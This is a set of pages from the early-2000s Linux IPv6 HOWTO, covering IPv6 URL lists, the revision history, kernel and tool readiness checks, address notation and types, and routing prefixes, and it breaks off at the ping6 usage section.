  • Grupo de Pesquisa em IPv6 do Brasil

  • University of Algarve, Portugal

  • IPv6 - MFA

20.2.5. By countries

20.2.5.1. Australia

  • Carl's Australian IPv6 Pages (old content)

20.2.5.2. Belgium

  • BELNET - the Belgian Research Network

  • Euronet - one of the biggest ISP's of Belgium...

20.2.5.3. Germany

  • Completel IPv6 information, German ISP

  • IPv6-net.org, German IPv6 forum

20.2.5.4. France

  • Renater - Renater IPv6 Project Page

20.2.5.5. Italy

  • Edisontel - IPv6 Portal of Edisontel

20.2.5.6. Japan

  • Yamaha IPv6 (sorry, all in japanese native ...)

20.2.5.7. Korea

  • IPv6 Forum Korea - Korean IPv6 Deployment Project

20.2.5.8. Mexico

  • IPv6 Mexico (spain & english version) - IPv6 Project Hompeage of The National Autonomous University of Mexico (UNAM)

20.2.5.9. Netherland

  • SURFnet - SURFnet IPv6 Backbone

  • STACK, STACK (IPv6) - Students' computer association of the Eindhoven University of Technology, Netherland.

  • IPng.nl, collaboration between WiseGuys and Intouch.

20.2.5.10. United Kingdom

  • British Telecom IPv6 Home - BT's ISP IPv6 Trial, UK's first IPv6 Internet Exchange etc.

20.2.6. By operating systems

20.2.6.1. Cisco IOS

  • Cisco IOS IPv6 Entry Page

20.2.6.2. Compaq

  • IPv6 at Compaq - Presentations, White Papers, Documentation...

20.2.6.3. Microsoft

  • Microsoft Windows 2000 IPv6

  • MSRIPv6 - Microsoft Research Network - IPv6 Homepage

  • Getting Started with the Microsoft IPv6 Technology Preview for Windows 2000

20.2.6.4. *BSD

  • KAME project - Japan, (*BSD)

  • NetBSD's IPv6 Networking FAQ

20.2.6.5. Solaris

  • Sun Microsystems IPv6 Page for Solaris 8

20.2.6.6. Sumitoma

  • Sumitomo Electric has implemented IPv6 on Suminet 3700 family routers

20.2.7. Application lists

  • IPv6.org / IPv6 enabled applications

  • Freshmeat / IPv6 search, currently (26. January 2001) 46 projects

20.2.7.1. Analyzer tools

  • Etherreal - Ethereal is a free network protocol analyzer for Unix and Windows

  • Radcom RC100-WL - Download Radcom RC100-WL protocol analyzer version 3.20

20.2.8. Request For Comments (RFCs)

See here for more

  • IPv6.org / IPv6 Related Specifications

  • Playground.sun.com / IPng Standardization Status

Prev | Home | Next
Paper printed books, articles, online reviews (mixed) | Up | Online test tools


Online test tools

Linux IPv6 HOWTO
Prev Chapter 20. Further information and URLs Next

20.3. Online test tools

More to be filled later...suggestions are welcome!

  • finger, nslookup, ping, traceroute, whois: UK IPv6 Resource Centre / The test page

  • ping, traceroute, tracepath, 6bone registry, DNS: JOIN / Testtools (German language only, but should be no problem for non German speakers)

  • traceroute6, whois: IPng.nl

Prev | Home | Next
Online information | Up | Maillists


Revision history

Linux IPv6 HOWTO
Prev Chapter 21. Revision history / Credits / The End Next

21.1. Revision history

Versions x.y are published on the Internet.

Versions x.y.z are work-in-progress and only published as LyX file on CVS.

21.1.1. Releases 0.x

0.23

2002-03-27/PB: Add entries in URL list and at maillists, add a label and minor information about IPv6 on RHL

0.22

2002-03-04/PB: Add info about 6to4 support in kernel series 2.2.x and add an entry in URL list and at maillists

0.21

2002-02-26/PB: Migrate next grammar checks submitted by John Ronan

0.20.4

2002-02-21/PB: Migrate more grammar checks submitted by John Ronan, add some additional hints at DNS section

0.20.3

2002-02-12/PB: Migrate a minor grammar check patch submitted by John Ronan

0.20.2

2002-02-05/PB: Add mipl to maillist table

0.20.1

2002-01-31/PB: Add a hint how to generate 6to4 addresses

0.20

2002-01-30/PB: Add a hint about default route problem, some minor updates

0.19.2

2002-01-29/PB: Add many new URLs

0.19.1

2002-01-27/PB: Add some forgotten URLs

0.19

2002-01-25/PB: Add two German books, fix quote entinities in exported SGML code

0.18.2

2002-01-23/PB: Add a FAQ on the program chapter

0.18.1

2002-01-23/PB: Move "the end" to the end, add USAGI to maillists

0.18

2002-01-22/PB: Fix bugs in explanation of multicast address types

0.17.2

2002-01-22/PB: Cosmetic fix double existing text in history (at 0.16), move all credits to the end of the document

0.17.1

2002-01-20/PB: Add a reference, fix URL text in online-test-tools

0.17

2002-01-19/PB: Add some forgotten information and URLs about global IPv6 addresses

0.16

2002-01-19/PB: Minor fixes, remove "bold" and "emphasize" formats on code lines, fix "too long unwrapped code lines" using selfmade utility, extend list of URLs.

0.15

2002-01-15/PB: Fix bug in addresstype/anycast, move content related credits to end of document

0.14

2002-01-14/PB: Minor review at all, new chapter "debugging", review "addresses", spell checking, grammar checking (from beginning to 3.4.1) by Martin Krafft, add tcpdump examples, copy firewalling/netfilter6 from IPv6+Linux-HowTo, minor enhancements

0.13

2002-01-05/PB: Add example BIND9/host, move revision history to end of document, minor extensions

0.12

2002-01-03/PB: Merge review of David Ranch

0.11

2002-01-02/PB: Spell checking and merge review of Pekka Savola

0.10

2002-01-02/PB: First public release of chapter 1

Prev | Home | Next
Revision history / Credits / The End | Up | Credits


IPv6-ready kernel

Linux IPv6 HOWTO
Prev Chapter 4. IPv6-ready system check Next

4.1. IPv6-ready kernel

Modern Linux distributions already contain IPv6-ready kernels, the IPv6 capability is generally compiled as a module, but it's possible that this module is not loaded automatically on startup.

See IPv6+Linux-Status-Distribution page for most up-to-date information.

4.1.1. Check for IPv6 support in the current running kernel

To check, whether your current running kernel supports IPv6, take a look into your /proc-file-system. Following entry must exists:

/proc/net/if_inet6

A short automatical test looks like:

# test -f /proc/net/if_inet6 && echo "Running kernel is IPv6 ready"

If this fails, it is quite likely, that the IPv6 module is not loaded.

4.1.2. Try to load IPv6 module

You can try to load the IPv6 module executing

# modprobe ipv6

If this is successful, this module should be listed, testable with following auto-magically line:

# lsmod |grep -w 'ipv6' && echo "IPv6 module successfully loaded"

And the check shown above should now run successfully.

Note: unloading the module is currently not supported and can result, under some circumstances, in a kernel crash.

4.1.2.1. Automatically loading of module

Its possible to automatically load the IPv6 module on demand. You only have to add following line in the configuration file of the kernel module loader (normally /etc/modules.conf or /etc/conf.modules):

alias net-pf-10 ipv6  # automatically load IPv6 module on demand

It's also possible to disable automatically loading of the IPv6 module using following line

alias net-pf-10 off   # disable automatically load of IPv6 module on demand

4.1.3. Compile kernel with IPv6 capabilities

If both above shown results were negative and your kernel has no IP6 support, than you have the following options:

  • Update your distribution to a current one which supports IPv6 out-of-the-box (recommended for newbies), see here again: IPv6+Linux-Status-Distribution

  • Compile a new vanilla kernel (easy, if you know which options you needed)

  • Recompile kernel sources given by your Linux distribution (sometimes not so easy)

  • Compile a kernel with USAGI extensions

If you decide to compile a kernel, you should have previous experience in kernel compiling and read the Linux Kernel HOWTO.

A mostly up-to-time comparison between vanilla and USAGI extended kernels is available on IPv6+Linux-Status-Kernel.

4.1.3.1. Compiling a vanilla kernel

More detailed hints about compiling an IPv6-enabled kernel can be found e.g. on IPv6-HOWTO-2#kernel.

Note: you should use whenever possible kernel series 2.4.x or above, because the IPv6 support in series 2.2.x is not so in current state and needs some patches for ICMPv6 and 6to4 support (can be found on kernel series 2.2.x IPv6 patches).

4.1.3.2. Compiling a kernel with USAGI extensions

Same as for vanilla kernel, only recommend for advanced users, which are already familiar with IPv6 and kernel compilation. See also USAGI project / FAQ.

4.1.4. IPv6-ready network devices

Not all existing network devices have already (or ever) the capability to transport IPv6 packets. A current status can be found at IPv6+Linux-status-kernel.html#transport.

A major issue is that because of the network layer structure of kernel implementation an IPv6 packet isn't really recognized by it's IP header number (6 instead of 4). It's recognized by the protocol number of the Layer 2 transport protocol. Therefore any transport protocol which doesn't use such protocol number cannot dispatch IPv6 packets. Note: the packet is still transported over the link, but on receivers side, the dispatching won't work (you can see this e.g. using tcpdump).

4.1.4.1. Currently known never "IPv6 capable links"

  • Serial Line IP (SLIP, RFC 1055), should be better called now to SLIPv4, device named: slX

  • Parallel Line IP (PLIP), same like SLIP, device names: plipX

  • ISDN with encapsulation rawip, device names: isdnX

4.1.4.2. Currently known "not supported IPv6 capable links"

  • ISDN with encapsulation syncppp, device names: ipppX (design issue of the ipppd, will be merged into more general PPP layer in kernel series 2.5.x)

Prev | Home | Next
IPv6-ready system check | Up | IPv6-ready network configuration tools


Version, History and To-Do

Linux IPv6 HOWTO
Prev Chapter 1. General Next

1.3. Version, History and To-Do

1.3.1. Version

The current version is shown above.

1.3.2. History

1.3.2.1. Major history

2001-11-30: Starting to design new HOWTO.

2002-01-02: A lot of content completed, first public release of chapter 1 (version 0.10).

2002-01-14: More completed, some reviews, public release of the whole document (version 0.14).

1.3.2.2. Full history

See revision history at the end of this document.

1.3.3. To-Do

  • Fill in missing content

  • Finishing grammar checking

Prev | Home | Next
Category | Up | Translations


Translations

Linux IPv6 HOWTO
Prev Chapter 1. General Next

1.4. Translations

Translations always have to contain the URL, version number and copyright of the original document (but yours, too).

1.4.1. To German

A German translation is planned by me (German is my native language), but it won't happen until the document's change frequency is less than once per month, and I get enough free time to do it. If you have more free time than me, please feel free to take over the translation!

1.4.2. To other languages

Please wait until the document's change frequency is less than once per month.

Prev | Home | Next
Version, History and To-Do | Up | Technical


Technical

Linux IPv6 HOWTO
Prev Chapter 1. General Next

1.5. Technical

1.5.1. Original source of this HOWTO

This HOWTO is currently written with LyX version 1.1.6fix4 on a Red Hat Linux 7.2 system with template SGML (DocBook book). It's available on LDP-CVS / users / Peter-Bieringer for contribution.

1.5.1.1. Code line wrapping

Code line wrapping is done using selfmade utility "lyxcodelinewrapper.pl", you can get it from CVS for your own usage: LDP-CVS / users / Peter-Bieringer

1.5.1.2. SGML generation

SGML is generated using export function in LyX.

Also some fixes are have to be made to create proper SGML code (see also here for the Perl programs LDP-CVS / users / Peter-Bieringer):

  • Export of LyX table does not create proper "colspan" tags - tool for fixing: "sgmllyxtabletagfix.pl"

  • LyX sometimes uses special left/right entinities for quotes instead the normal one, which will still exist in generated HTML. Some browsers don't parse this very well (known: Opera 6 TP 2 or Konqueror) - tool for fixing: "sgmllyxquotefix.pl"

1.5.2. On-line references to the HTML version of this HOWTO (linking/anchors)

1.5.2.1. Master index page

Generally, a reference to the master index page is recommended.

1.5.2.2. Dedicated pages

Because the HTML pages are generated out of the SGML file, the HTML filenames turn out to be quite random. However, some pages are tagged in LyX, resulting in static names. These tags are useful for references and shouldn't be changed in the future.

If you think that I have forgotten a tag, please let me know, and I will add it.

Prev | Home | Next
Translations | Up | Preface


Preface

Linux IPv6 HOWTO
Prev Chapter 1. General Next

1.6. Preface

Some things first:

1.6.1. How many versions of a Linux & IPv6 related HOWTO are floating around?

Including this, there are three (3) HOWTO documents available. Apologies, if that is too many ;-)

1.6.1.1. Linux IPv6 FAQ/HOWTO (outdated)

The first IPv6 related document was written by Eric Osborne and called Linux IPv6 FAQ/HOWTO (please use it only for historical issues). Latest version was 3.2.1 released 14. July 1997.

Please help: if someone knows the date of birth of this HOWTO, please send me an e-mail (information will be needed in "history").

1.6.1.2. IPv6 & Linux - HowTo (maintained)

There exists a second version called IPv6 & Linux - HowTo written by me (Peter Bieringer) in pure HTML. It was born April 1997 and the first English version was published in June 1997. I will continue to maintain it, but it will slowly fade in favour of the Linux IPv6 HOWTO you are currently reading.

1.6.1.3. Linux IPv6 HOWTO (this document)

Because the IPv6 & Linux - HowTo is written in pure HTML it's not really compatible with the Linux Documentation Project (LDP). I (Peter Bieringer) got a request in late November 2001 to rewrite the IPv6 & Linux - HowTo in SGML. However, because of the discontinuation of that HOWTO (Future of IPv6 & Linux - HowTo), and as IPv6 is becoming more and more standard, I decided to write a new document covering basic and advanced issues which will remain important over the next few years. Dynamic content will be still found further on in the second HOWTO (IPv6 & Linux - HowTo).

Prev | Home | Next
Technical | Up | Used terms


Used terms

Linux IPv6 HOWTO
Prev Chapter 1. General Next

1.7. Used terms

1.7.1. Network related

Link

A link is a layer 2 network packet transport medium, examples are Ethernet, Token Ring, PPP, SLIP, ATM, ISDN, Frame Relay,...

Node

A node is a host or a router.

Host

Generally a single homed host on a link. Normally it has only one active network interface, e.g. Ethernet or (not and) PPP.

Dual homed host

A dual homed host is a node with two network (physical or virtual) interfaces on two different links, but does not forward any packets between the interfaces.

Router

A router is a node with two or more network (physical or virtual) interfaces, capable of forwarding packets between the interfaces.

Tunnel

A tunnel is typically a point-to-point connection over which packets are exchanged which carry the data of another protocol, e.g. an IPv6-in-IPv4 tunnel.

NIC

Network Interface Card

1.7.2. Document related

1.7.2.1. Long code line wrapping signal char

The special character "¬" is used for signaling that this code line is wrapped for better viewing in PDF and PS files.

1.7.2.2. Placeholders

In generic examples you will sometimes find the following:

<myipaddress>

For real use on your system command line or in scripts this has to be replaced with relevant content (removing the < and > of course), the result would be e.g.

1.2.3.4

1.7.2.3. Commands in the shell

Commands executable as non-root user begin with $, e.g.

$ whoami

Commands executable as root user begin with #, e.g.

# whoami

Prev | Home | Next
Preface | Up | Requirements for using this HOWTO


Requirements for using this HOWTO

Linux IPv6 HOWTO
Prev Chapter 1. General Next

1.8. Requirements for using this HOWTO

1.8.1. Personal prerequisites

1.8.1.1. Experience with Unix tools

You should be familiar with the major Unix tools e.g. grep, awk, find, ... , and know about their most commonly used command-line options.

1.8.1.2. Experience with networking theory

You should know about layers, protocols, addresses, cables, plugs, etc. If you are new to this field, here is one good starting point for you: linuxports/howto/intro_to_networking

1.8.1.3. Experience with IPv4 configuration

You should definitely have some experience in IPv4 configuration, otherwise it will be hard for you to understand what is really going on.

1.8.1.4. Experience with the Domain Name System (DNS)

Also you should understand what the Domain Name System (DNS) is, what it provides and how to use it.

1.8.1.5. Experience with network debugging strategies

You should at least understand how to use tcpdump and what it can show you. Otherwise, network debugging will very difficult for you.

1.8.2. Linux operating system compatible hardware

Surely you wish to experiment with real hardware, and not only read this HOWTO to fall asleep here and there. :)

Prev | Home | Next
Used terms | Up | Basics


What is IPv6?

Linux IPv6 HOWTO
Prev Chapter 2. Basics Next

2.1. What is IPv6?

IPv6 is a new layer 3 transport protocol (see linuxports/howto/intro_to_networking/ISO - OSI Model) which will supersede IPv4 (also known as IP). IPv4 was designed long time ago (RFC 760 from January 1980) and since its inception, there have been many requests for more addresses and enhanced capabilities. Major changes in IPv6 are the redesign of the header, including the increase of address size from 32 bits to 128 bits. Because layer 3 is responsible for end-to-end packet transport using packet routing based on addresses, it must include the new IPv6 addresses (source and destination), like IPv4.

For more information about the IPv6 history take a look at older IPv6 related RFCs listed e.g. at SWITCH IPv6 Pilot / References.

Prev | Home | Next
Basics | Up | History of IPv6 in Linux


How do IPv6 addresses look like?

Linux IPv6 HOWTO
Prev Chapter 2. Basics Next

2.3. How do IPv6 addresses look like?

As previously mentioned, IPv6 addresses are 128 bits long. This number of bits generates very high decimal numbers with up to 39 digits:

2^{128}-1: 340282366920938463463374607431768211455

Such numbers are not really addresses that can be memorized. Also the IPv6 address schema is bitwise orientated (just like IPv4, but that's not often recognized). Therefore a better notation of such big numbers is hexadecimal. In hexadecimal, 4 bits (also known as "nibble") are represented by a digit or character from 0-9 and a-f (10-15). This format reduces the length of the IPv6 address to 32 characters.

2^{128}-1: 0xffffffffffffffffffffffffffffffff

This representation is still not very convenient (possible mix-up or loss of single hexadecimal digits), so the designers of IPv6 chose a hexadecimal format with a colon as separator after each block of 16 bits. In addition, the leading "0x" (a signifier for hexadecimal values used in programming languages) is removed:

2^{128}-1: ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

A usable address (see address types later) is e.g.:

3ffe:ffff:0100:f101:0210:a4ff:fee3:9566

For simplifications, leading zeros of each 16 bit block can be omitted:

3ffe:ffff:0100:f101:0210:a4ff:fee3:9566  ->
¬ 3ffe:ffff:100:f101:210:a4ff:fee3:9566

One sequence of 16 bit blocks containing only zeroes can be replaced with "::". But not more than one at a time, otherwise it is no longer a unique representation.

3ffe:ffff:100:f101:0:0:0:1  ->  3ffe:ffff:100:f101::1

The biggest reduction is seen by the IPv6 localhost address:

0000:0000:0000:0000:0000:0000:0000:0001  ->  ::1

There is also a so-called compact (base85 coded) representation defined RFC 1924 / A Compact Representation of IPv6 Addresses (written 1996), never seen in the wild, but here is an example:

# ipv6calc --addr_to_base85 3ffe:ffff:0100:f101:0210:a4ff:fee3:9566
Itu&-ZQ82s>J%s99FJXT

Info: ipv6calc is an IPv6 address format calculator and converter program and can be found here: ipv6calc

Prev | Home | Next
History of IPv6 in Linux | Up | FAQ (Basics)


FAQ (Basics)

Linux IPv6 HOWTO
Prev Chapter 2. Basics Next

2.4. FAQ (Basics)

2.4.1. Why is the name IPv6 and not IPv5 as successor for IPv4?

On any IP header, the first 4 bits are reserved for protocol version. So theoretically a protocol number between 0 and 15 is possible:

  • 4: is already used for IPv4

  • 5: is reserved for the Stream Protocol (STP, RFC 1819) (which never really made it to the public)

The next free number was 6. Hence IPv6 was born!

2.4.2. IPv6 addresses: why such a high number of bits?

During the design of IPv4, people thought that 32 bits were enough for the world. Looking back into the past, 32 bits were enough until now and will perhaps be enough for another few years. However, 32 bits are not enough to provide each network device with a global address in the future. Think about mobile phones, cars (including electronic devices on its CAN-bus), toasters, refrigerators, light switches, and so on...

So designers have chosen 128 bits, 4 times more in length and 2^96 greater in size than in IPv4 today.

The usable size is smaller than it may appear however. This is because in the currently defined address schema, 64 bits are used for interface identifiers. The other 64 bits are used for routing. Assuming the current strict levels of aggregation (/48, /35, ...), it is still possible to "run out" of space, but hopefully not in the near future.

2.4.3. IPv6 addresses: why so small a number of bits on a new design?

While, there are (possibly) some people on the Internet who are thinking about IPv8 and IPv16, their design is far away from acceptance and implementation. In the meantime 128 bits was the best choice regarding header overhead and data transport. Consider the minimum Maximum Transfer Unit (MTU) in IPv4 (576 octets) and in IPv6 (1280 octets), the header length in IPv4 is 20 octets (minimum, can increase to 60 octets with IPv4 options) and in IPv6 is 48 octets (fixed). This is 3.4 % of MTU in IPv4 and 3.8 % of MTU in IPv6. This means the header overhead is almost equal. More bits for addresses would require bigger headers and therefore more overhead. Also, consider the maximum MTU on normal links (like Ethernet today): it's 1500 octets (in special cases: 9k octets using Jumbo frames). Ultimately, it wouldn't be a proper design if 10 % or 20 % of transported data in a Layer-3 packet were used for addresses and not for payload.

Prev | Home | Next
How do IPv6 addresses look like? | Up | Address types


Addresses without a special prefix

Linux IPv6 HOWTO
Prev Chapter 3. Address types Next

3.1. Addresses without a special prefix

3.1.1. Localhost address

This is a special address for the loopback interface, similiar to IPv4 with its "127.0.0.1". With IPv6, the localhost address is:

0000:0000:0000:0000:0000:0000:0000:0001

or compressed:

::1

Packets with this address as source or destination should never leave the sending host.

3.1.2. Unspecified address

This is a special address like "any" or "0.0.0.0" in IPv4 . For IPv6 it's:

0000:0000:0000:0000:0000:0000:0000:0000

or:

::

These addresses are mostly used/seen in socket binding (to any IPv6 address) or routing tables.

Note: the unspecified address cannot be used as destination address.

3.1.3. IPv6 address with embedded IPv4 address

There are two addresses which contain an IPv4 address.

3.1.3.1. IPv4-mapped IPv6 address

IPv4-only IPv6-compatible addresses are sometimes used/shown for sockets created by an IPv6-enabled daemon, but only binding to an IPv4 address.

These addresses are defined with a special prefix of length 96 (a.b.c.d is the IPv4 address):

0:0:0:0:0:ffff:a.b.c.d/96

or in compressed format

::ffff:a.b.c.d/96

For example, the IPv4 address 1.2.3.4 looks like this:

::ffff:1.2.3.4

3.1.3.2. IPv4-compatible IPv6 address

Also for sockets, in this case it is for a dual purpose and looks like:

0:0:0:0:0:0:a.b.c.d/96

or in compressed format

::a.b.c.d/96

These addresses are also used by automatic tunneling, which is being replaced by 6to4 tunneling.

Prev | Home | Next
Address types | Up | Network part, also known as prefix


Network part, also known as prefix

Linux IPv6 HOWTO
Prev Chapter 3. Address types Next

3.2. Network part, also known as prefix

Designers defined some address types and left a lot of scope for future definitions as currently unknown requirements arise. RFC 2373 [July 1998] / IP Version 6 Addressing Architecture defines the current addressing scheme but there is already a new draft available: draft-ietf-ipngwg-addr-arch-*.txt.

Now lets take a look at the different types of prefixes (and therefore address types):

3.2.1. Link local address type

These are special addresses which will only be valid on a link of an interface. Using this address as destination the packet would never pass through a router. It's used for link communications such as:

  • anyone else here on this link?

  • anyone here with a special address (e.g. looking for a router)?

They begin with ( where "x" is any hex character, normally "0")

fe8<emphasis>x:  <- currently the only one in use.</emphasis>
fe9<emphasis>x:</emphasis>
fea<emphasis>x:</emphasis>
feb<emphasis>x:</emphasis>

An address with this prefix is found on each IPv6-enabled interface after stateless auto-configuration (which is normally always the case).

Note: only fe80 is currently in use.

3.2.2. Site local address type

These are addresses similar to the RFC 1918 / Address Allocation for Private Internets in IPv4 today, with the added advantage that everyone who use this address type has the capability to use the given 16 bits for a maximum number of 65536 subnets. Comparable with the 10.0.0.0/8 in IPv4 today.

Another advantage: because it's possible to assign more than one address to an interface with IPv6, you can also assign such a site local address in addition to a global one.

It begins with:

fec<emphasis>x:  <- most commonly used.</emphasis>
fed<emphasis>x:</emphasis>
fee<emphasis>x:</emphasis>
fef<emphasis>x:</emphasis>

(where "x" is any hex character, normally "0")

3.2.3. Global address type "Aggregatable global unicast"

Today, there is one global address type defined (the first design, called "provider based," was thrown away some years ago RFC 1884 / IP Version 6 Addressing Architecture [obsolete], you will find some remains in older Linux kernel sources).

It begins with (x are hex characters)

2<emphasis>xxx</emphasis>:
3<emphasis>xxx</emphasis>:

There are some further subtypes defined, see below:

3.2.3.1. 6bone test addresses

These were the first global addresses which were defined and in use. They all start with

3ffe:

Example:

3ffe:ffff:100:f102::1

A special 6bone test address which will be never be globally unique begins with

3ffe:ffff:

and is mostly shown in examples, because if real addresses are shown, its possible for someone to do a copy & paste to their configuration files. Thus inadvertently causing duplicates on a globally unique address. This would cause serious problems for the original host (e.g. getting answer packets for request that were never sent). You can still apply for one of these prefixes, see here How to join 6bone. Also some tunnel brokers still distribute 6bone test address prefixes.

3.2.3.2. 6to4 addresses

These addresses, designed for a special tunneling mechanism [RFC 3056 / Connection of IPv6 Domains via IPv4 Clouds and RFC 2893 / Transition Mechanisms for IPv6 Hosts and Routers], encode a given IPv4 address and a possible subnet and begin with

2002:

For example, representing 192.168.1.1/5:

2002:c0a8:0101:5::1

A small shell command line can help you generating such address out of a given IPv4 one:

ipv4="1.2.3.4"; sla="5"; printf "2002:%02x%02x:%02x%02x:%04x::1" `echo $ipv4 | tr "." " "` $sla

See also tunneling using 6to4 and information about 6to4 relay routers.

3.2.3.3. Assigned by provider for hierarchical routing

These addresses are delegated to Internet service providers (ISP) and begin with

2001:

Prefixes to major (backbone owning) ISPs are delegated by local registries and currently they assign to them a prefix with length 35.

Major ISPs normally delegate to minor ISPs a prefix with length 48.

3.2.4. Multicast addresses

Multicast addresses are used for related services.

They alway start with (xx is the scope value)

ff<emphasis>x</emphasis>y:

They are split into scopes and types:

3.2.4.1. Multicast scopes

Multicast scope is a parameter to specify the maximum distance a multicast packet can travel from the sending entity.

Currently, the following regions (scopes) are defined:

  • ffx1: node-local, packets never leave the node.

  • ffx2: link-local, packets are never forwarded by routers, so they never leave the specified link.

  • ffx5: site-local, packets never leave the site.

  • ffx8: organization-local, packets never leave the organization (not so easy to implement, must be covered by routing protocol).

  • ffxe: global scope.

  • others are reserved

3.2.4.2. Multicast types

There are many types already defined/reserved (see RFC 2373 / IP Version 6 Addressing Architecture for details). Some examples are:

  • All Nodes Address: ID = 1h, addresses all hosts on the local node (ff01:0:0:0:0:0:0:1) or the connected link (ff02:0:0:0:0:0:0:1).

  • All Routers Address: ID = 2h, addresses all routers on the local node (ff01:0:0:0:0:0:0:2), on the connected link (ff02:0:0:0:0:0:0:2), or on the local site (ff05:0:0:0:0:0:0:2)

3.2.4.3. Solicited node link-local multicast address

Special multicast address used as destination address in neighborhood discovery, because unlike in IPv4, ARP no longer exists in IPv6.

An example of this address looks like

ff02::1:ff00:1234

Used prefix shows that this is a link-local multicast address. The suffix is generated from the destination address. In this example, a packet should be sent to address "fe80::1234", but the network stack doesn't know the current layer 2 MAC address. It replaces the upper 104 bits with "ff02:0:0:0:0:1:ff00::/104" and leaves the lower 24 bits untouched. This address is now used `on-link' to find the corresponding node which has to send a reply containing its layer 2 MAC address.

3.2.5. Anycast addresses

Anycast addresses are special addresses and are used to cover things like nearest DNS server, nearest DHCP server, or similar dynamic groups. Addresses are taken out of the unicast address space (aggregatable global or site-local at the moment). The anycast mechanism (client view) will be handled by dynamic routing protocols.

Note: Anycast addresses cannot be used as source addresses, they are only used as destination addresses.

3.2.5.1. Subnet-router anycast address

A simple example for an anycast addresses is the subnet-router anycast address. Assuming that a node has the following global assigned IPv6 address:

3ffe:ffff:100:f101:210:a4ff:fee3:9566/64  <- Node's address

The subnet-router anycast address will be created blanking the suffix (least significant 64 bits) completely:

3ffe:ffff:100:f101::/64  <- subnet-router anycast address

Prev | Home | Next
Addresses without a special prefix | Up | Address types (host part)


Address types (host part)

Linux IPv6 HOWTO
Prev Chapter 3. Address types Next

3.3. Address types (host part)

For auto-configuration and mobility issues, it was decided to use the lower 64 bits as host part of the address in most of the current address types. Therefore each single subnet can hold a large amount of addresses.

This host part can be inspected differently:

3.3.1. Automatically computed (also known as stateless)

With auto-configuration, the host part of the address is computed by converting the MAC address of an interface (if available), with the EUI-64 method, to a unique IPv6 address. If no MAC address is available (happens e.g. on virtual devices), something else (like the IPv4 addresses or the MAC address of a physical interface) is used instead.

Consider again the first example

3ffe:ffff:100:f101:210:a4ff:fee3:9566

here,

210:a4ff:fee3:9566

is the host part and computed from the NIC's MAC address

00:10:A4:E3:95:66

using the IEEE-Tutorial EUI-64 design for EUI-48 identifiers.

3.3.1.1. Privacy problem with automatically computed and solution

Because the "automatically computed" host part is globally unique (except when a vendor of a NIC uses the same MAC address on more than one NIC), client tracking is possible on the host when not using a proxy of any kind.

This is a known problem, and a solution was defined: privacy extension, defined in RFC 3041 / Privacy Extensions for Stateless Address Autoconfiguration in IPv6 (there is also already a newer draft available: draft-ietf-ipngwg-temp-addresses-*.txt). Using a random and a static value a new suffix is generated from time to time. Note: this is only reasonable for outgoing client connections and isn't really useful for well-known servers.

3.3.2. Manually set

For servers it's probably easier to remember simpler addresses, this can also be accommodated. It is possible to assign an additional IPv6 address to an interface, e.g.

3ffe:ffff:100:f101::1

For manual suffixes like "::1" shown in the above example it's required that the 6th most significant bit is set to 0 (the universal/local bit of the automatically generated identifier). Also some other (otherwise unchosen ) bit combinations are reserved for anycast addresses, too.

Prev | Home | Next
Network part, also known as prefix | Up | Prefix lengths for routing


Prefix lengths for routing

Linux IPv6 HOWTO
Prev Chapter 3. Address types Next

3.4. Prefix lengths for routing

In the early design phase it was planned to use a fully hierarchical routing approach to reduce the size of the routing tables maximally. The reasoning behind this approach were the number of current IPv4 routing entries in core routers (> 104 thousand in May 2001), reducing the need of memory in hardware routers (ASIC driven) to hold the routing table and increase speed (fewer entries hopefully result in faster lookups).

Todays view is that routing will be mostly hierarchically designed for networks with only one service provider. With more than one ISP connections, this is not possible, and subject to an issue named multi-homing.

3.4.1. Prefix lengths (also known as "netmasks")

Similar to IPv4, the routable network path for routing to take place. Because standard netmask notation for 128 bits doesn't look nice, designers employed the IPv4 Classless Inter Domain Routing (CIDR, RFC 1519 / Classless Inter-Domain Routing) scheme, which specifies the number of bits of the IP address to be used for routing. It is also called the "slash" notation.

An example:

3ffe:ffff:100:1:2:3:4:5/48

This notation will be expanded:

  • Network:

3ffe:ffff:0100:0000:0000:0000:0000:0000

  • Net-mask:

ffff:ffff:ffff:0000:0000:0000:0000:0000

3.4.2. Matching a route

Under normal circumstances (no QoS) a lookup in a routing table results in the route with the most significant number of address bits means the route with the biggest prefix length matches first.

For example if a routing table shows following entries (list is not complete):

3ffe:ffff:100::/48     ::            U  1 0 0 sit1
3ffe::/16              ::192.88.99.1 UG 1 0 0 tun6to4
2000::/3               ::192.88.99.1 UG 1 0 0 tun6to4

Shown destination addresses of IPv6 packets will be routed through shown device

3ffe:ffff:100:1:2:3:4:5/48  ->  routed through device sit1
3ffe:ffff:200:1:2:3:4:5/48  ->  routed through device tun6to4

Prev | Home | Next
Address types (host part) | Up | IPv6-ready system check


IPv6-ready network configuration tools

Linux IPv6 HOWTO
Prev Chapter 4. IPv6-ready system check Next

4.2. IPv6-ready network configuration tools

You wont get very far, if you are running an IPv6-ready kernel, but have no tools to configure IPv6. There are several packages in existence which can configure IPv6.

4.2.1. net-tools package

The net-tool package includes some tools like ifconfig and route, which helps you to configure IPv6 on an interface. Look at the output of ifconfig -? or route -?, if something is shown like IPv6 or inet6, then the tool is IPv6-ready.

Auto-magically check:

# /sbin/ifconfig -? 2>& 1|grep -qw 'inet6' && echo "utility 'ifconfig' is
¬ IPv6-ready"

Same check can be done for route:

# /sbin/route -? 2>& 1|grep -qw 'inet6' && echo "utility 'route' is IPv6-ready"

4.2.2. iproute package

Alexey N. Kuznetsov (current a maintainer of the Linux networking code) created a tool-set which configures networks through the netlink device. Using this tool-set you have more functionality than net-tools provides, but its not very well documented and isn't for the faint of heart.

# /sbin/ip 2>&1 |grep -qw 'inet6' && echo "utility 'ip' is IPv6-ready"

If the program /sbin/ip isn't found, then I strongly recommend you install the iproute package.

  • You can get it from your Linux distribution (if contained)

  • You can download the tar-ball and recompile it: Original FTP source and mirror (missing)

  • You've able to look for a proper RPM package at RPMfind/iproute (sometimes rebuilding of a SRPMS package is recommended)

Prev | Home | Next
IPv6-ready kernel | Up | IPv6-ready test/debug programs


IPv6-ready test/debug programs

Linux IPv6 HOWTO
Prev Chapter 4. IPv6-ready system check Next

4.3. IPv6-ready test/debug programs

After you have prepared your system for IPv6, you now want to use IPv6 for network communications. First you should learn how to examine IPv6 packets with a sniffer program. This is strongly recommended because for debugging/troubleshooting issues this can aide in providing a diagnosis very quickly.

4.3.1. IPv6 ping

This program is normally included in package iputils. It is designed for simple transport tests sending ICMPv6 echo-request packets and wait for ICMPv6 echo-reply packets.

Usage

# ping6 <hostwithipv6address>
# ping6 <ipv6address>
